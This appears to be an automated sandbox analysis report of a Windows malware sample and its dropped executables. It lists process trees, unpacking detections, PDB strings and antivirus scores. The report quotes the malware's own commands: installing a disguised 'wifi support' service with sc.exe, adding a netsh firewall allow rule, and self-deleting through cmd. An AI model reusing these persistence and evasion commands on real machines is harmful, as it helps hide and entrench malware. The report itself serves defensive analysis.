Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Code function: 38_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

38_2_00409A6B

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

38_2_00409A6B

Source: BC2D.exe, 00000014.00000002.810255073.00000000006C8000.00000004.00000020.sdmp

Binary or memory string: ?.VBP

Source: 7NAzyCWRyM.exe	Virustotal: Detection: 40%
Source: 7NAzyCWRyM.exe	ReversingLabs: Detection: 48%

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\7NAzyCWRyM.exe "C:\Users\user\Desktop\7NAzyCWRyM.exe"
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Process created: C:\Users\user\Desktop\7NAzyCWRyM.exe "C:\Users\user\Desktop\7NAzyCWRyM.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rffhjft C:\Users\user\AppData\Roaming\rffhjft
Source: C:\Users\user\AppData\Roaming\rffhjft	Process created: C:\Users\user\AppData\Roaming\rffhjft C:\Users\user\AppData\Roaming\rffhjft
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8633.exe C:\Users\user\AppData\Local\Temp\8633.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7156 -ip 7156
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BC2D.exe C:\Users\user\AppData\Local\Temp\BC2D.exe
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Process created: C:\Users\user\AppData\Local\Temp\BC2D.exe C:\Users\user\AppData\Local\Temp\BC2D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DDEE.exe C:\Users\user\AppData\Local\Temp\DDEE.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\11C5.exe C:\Users\user\AppData\Local\Temp\11C5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2203.exe C:\Users\user\AppData\Local\Temp\2203.exe
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\olbcncjm\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\riwtgmp.exe" C:\Windows\SysWOW64\olbcncjm\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\DDEE.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description olbcncjm "wifi internet conection
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start olbcncjm
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d"C:\Users\user\AppData\Local\Temp\11C5.exe"
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process created: C:\Users\user\AppData\Local\Temp\2203.exe C:\Users\user\AppData\Local\Temp\2203.exe
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9A8F.exe C:\Users\user\AppData\Local\Temp\9A8F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BC8F.exe C:\Users\user\AppData\Local\Temp\BC8F.exe
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Process created: C:\Users\user\Desktop\7NAzyCWRyM.exe "C:\Users\user\Desktop\7NAzyCWRyM.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8633.exe C:\Users\user\AppData\Local\Temp\8633.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BC2D.exe C:\Users\user\AppData\Local\Temp\BC2D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DDEE.exe C:\Users\user\AppData\Local\Temp\DDEE.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Process created: C:\Users\user\AppData\Roaming\rffhjft C:\Users\user\AppData\Roaming\rffhjft	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7156 -ip 7156	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 520	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Process created: C:\Users\user\AppData\Local\Temp\BC2D.exe C:\Users\user\AppData\Local\Temp\BC2D.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\DDEE.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\olbcncjm\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\riwtgmp.exe" C:\Windows\SysWOW64\olbcncjm\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description olbcncjm "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start olbcncjm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process created: C:\Users\user\AppData\Local\Temp\2203.exe C:\Users\user\AppData\Local\Temp\2203.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\8633.tmp

Jump to behavior

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Code function: 0_2_0041AD43 GetLastError,GetProfileStringW,WriteProfileSectionW,GetProfileStringA,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryA,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoA,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeaps,WritePrivateProfileStringW,GetPriorityClass,

0_2_0041AD43

Source: C:\Users\user\AppData\Local\Temp\2203.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7156
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1472:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6356:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7128:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6776:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4780:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6780:64:WilError_01

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: VirtualProtect	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: Zowivukivoyujeg	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: mizotegikomo	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: riyijoj	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: rikep	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: mehugisaj	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: sdhfdghdfghdfg	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: \H	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: h?	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: h?	0_2_0041AFB0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Command line argument: yecajobuyo	0_2_0041AFB0
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: \H	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: E6B	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: E6B	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: E6B	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: E6B	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: \H	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: E6B	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: E6B	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: E6B	13_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Command line argument: E6B	13_2_0041CB7B
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Command line argument: \H	38_2_0041B28E
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Command line argument: *i?	38_2_0041B28E
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Command line argument: *i?	38_2_0041B28E
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Command line argument: \H	38_2_0041B28E
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Command line argument: *i?	38_2_0041B28E
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Command line argument: *i?	38_2_0041B28E

Source: 2203.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2203.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.0.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.0.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.0.2203.exe.580000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.0.2203.exe.580000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.0.2203.exe.580000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.0.2203.exe.580000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.2.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.2.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.0.2203.exe.580000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.0.2203.exe.580000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\8633.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 7NAzyCWRyM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 7NAzyCWRyM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 7NAzyCWRyM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 7NAzyCWRyM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 7NAzyCWRyM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 7NAzyCWRyM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 7NAzyCWRyM.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: C:\malomazasuk.pdbh source: DDEE.exe, 00000015.00000000.806089753.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: profapi.pdbwk3 source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdbk source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: C:\nifuye\nozus nosonu\hetujohitas pe.pdb source: 7NAzyCWRyM.exe, 7NAzyCWRyM.exe, 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, 7NAzyCWRyM.exe, 00000000.00000000.654187291.0000000000401000.00000020.00020000.sdmp, 7NAzyCWRyM.exe, 00000001.00000000.658736452.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000A.00000000.745615637.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000A.00000002.753437264.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000B.00000000.750124051.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000013.00000000.786336492.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000013.00000002.795337129.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000014.00000000.792961390.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdbk source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: VC:\hatisicovapehe\p.pdb source: 8633.exe, 0000000D.00000000.769445238.0000000000401000.00000020.00020000.sdmp, 8633.exe, 0000000D.00000000.777479976.0000000000409000.00000020.00020000.sdmp, WerFault.exe, 00000012.00000002.812632710.00000000052F0000.00000002.00020000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: C:\rawem\gunutata.pdb source: 11C5.exe, 00000017.00000002.843256357.0000000000752000.00000004.00000001.sdmp, riwtgmp.exe, 00000026.00000000.842627969.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\hatisicovapehe\p.pdb source: 8633.exe, 8633.exe, 0000000D.00000000.769445238.0000000000401000.00000020.00020000.sdmp, 8633.exe, 0000000D.00000000.777479976.0000000000409000.00000020.00020000.sdmp, WerFault.exe, 00000012.00000002.812632710.00000000052F0000.00000002.00020000.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdbk source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdbk source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000012.00000003.782463107.0000000004FDB000.00000004.00000001.sdmp, WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: "sTC:\rawem\gunutata.pdbh source: 11C5.exe, 00000017.00000002.843256357.0000000000752000.00000004.00000001.sdmp, riwtgmp.exe, 00000026.00000000.842627969.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\nifuye\nozus nosonu\hetujohitas pe.pdbh source: 7NAzyCWRyM.exe, 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, 7NAzyCWRyM.exe, 00000000.00000000.654187291.0000000000401000.00000020.00020000.sdmp, 7NAzyCWRyM.exe, 00000001.00000000.658736452.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000A.00000000.745615637.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000A.00000002.753437264.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000B.00000000.750124051.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000013.00000000.786336492.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000013.00000002.795337129.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000014.00000000.792961390.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: C:\malomazasuk.pdb source: DDEE.exe, 00000015.00000000.806089753.0000000000401000.00000020.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Unpacked PE file: 21.2.DDEE.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Unpacked PE file: 23.2.11C5.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Unpacked PE file: 38.2.riwtgmp.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Unpacked PE file: 21.2.DDEE.exe.400000.0.unpack .text:ER;.data:W;.monag:W;.jopavi:W;.jas:W;.javefa:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Unpacked PE file: 23.2.11C5.exe.400000.0.unpack .text:ER;.data:W;.doso:W;.feti:W;.jusuc:W;.yegosa:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Unpacked PE file: 38.2.riwtgmp.exe.400000.0.unpack .text:ER;.data:W;.doso:W;.feti:W;.jusuc:W;.yegosa:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 2203.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 24.0.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 24.0.2203.exe.580000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 24.0.2203.exe.580000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 24.2.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 24.0.2203.exe.580000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
